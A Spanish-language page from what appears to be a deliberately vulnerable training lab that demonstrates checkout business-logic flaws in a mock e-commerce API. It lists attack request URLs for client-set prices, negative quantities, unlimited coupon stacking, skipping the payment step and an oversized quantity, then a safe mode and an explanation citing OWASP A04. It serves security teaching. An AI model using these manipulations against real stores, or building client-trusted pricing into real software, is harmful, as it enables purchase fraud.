Cuatro vulnerabilidades de lógica de negocio en un checkout de e-commerce: precio enviado por el cliente, cantidad negativa, apilado de cupones sin límite y saltar el paso de pago
Lista de productos con precios oficiales y cupones disponibles
/api/lab/business-logic?action=catalog?price=-1 — el servidor usa el precio del cliente sin verificar contra el catálogo. Total: -1€
/api/lab/business-logic?action=checkout&product=p001&qty=1&price=-1Manipular price= para comprar cualquier producto por el precio que el cliente elija
/api/lab/business-logic?action=checkout&product=p001&qty=1&price=0.01qty=-10 con precio normal genera un total negativo — el cliente obtiene crédito en su cuenta
/api/lab/business-logic?action=checkout&product=p001&qty=-10Dos cupones apilados superan el precio. FLAT200 descuenta 200€, FULL_FREE aplica 100% adicional → total negativo
/api/lab/business-logic?action=checkout&product=p001&qty=1&coupons=FLAT200,FULL_FREEAplicar todos los cupones disponibles simultáneamente para maximizar el descuento
/api/lab/business-logic?action=checkout&product=p001&qty=1&coupons=DISCOUNT10,FLAT50,FLAT200,FULL_FREEEl servidor acepta step=3 (confirmación) sin verificar que step=2 (pago) fue completado
/api/lab/business-logic?action=confirm-order&orderId=ORD-XYZ&step=3Sin límite de cantidad el servidor intenta calcular 299€ × 99.999.999 — posible desbordamiento o DoS
/api/lab/business-logic?action=checkout&product=p001&qty=99999999Con ?safe=true el precio viene del catálogo, la cantidad se valida y los totales negativos se rechazan
/api/lab/business-logic?action=checkout&product=p001&qty=1&price=-1&coupons=FLAT200,FULL_FREE&safe=trueLas vulnerabilidades de lógica de negocio no son errores de código sino de diseño del flujo: (1) Precio confiado del cliente — el backend usa price= del request en lugar del catálogo; (2) Cantidad negativa — qty=-10 × precio convierte el total en crédito; (3) Coupon stacking sin límite — apilar cupones hasta superar el precio total; (4) Workflow bypass — saltarse pasos requeridos del flujo (pago) accediendo directamente al endpoint de confirmación. Ningún WAF ni scanner automático detecta estos fallos — requieren revisión manual del flujo. OWASP A04:2021 — CVSS 8.6.
Esta aplicación es vulnerable por diseño - Solo para propósitos educativos
© 2025 Aitana Security Lab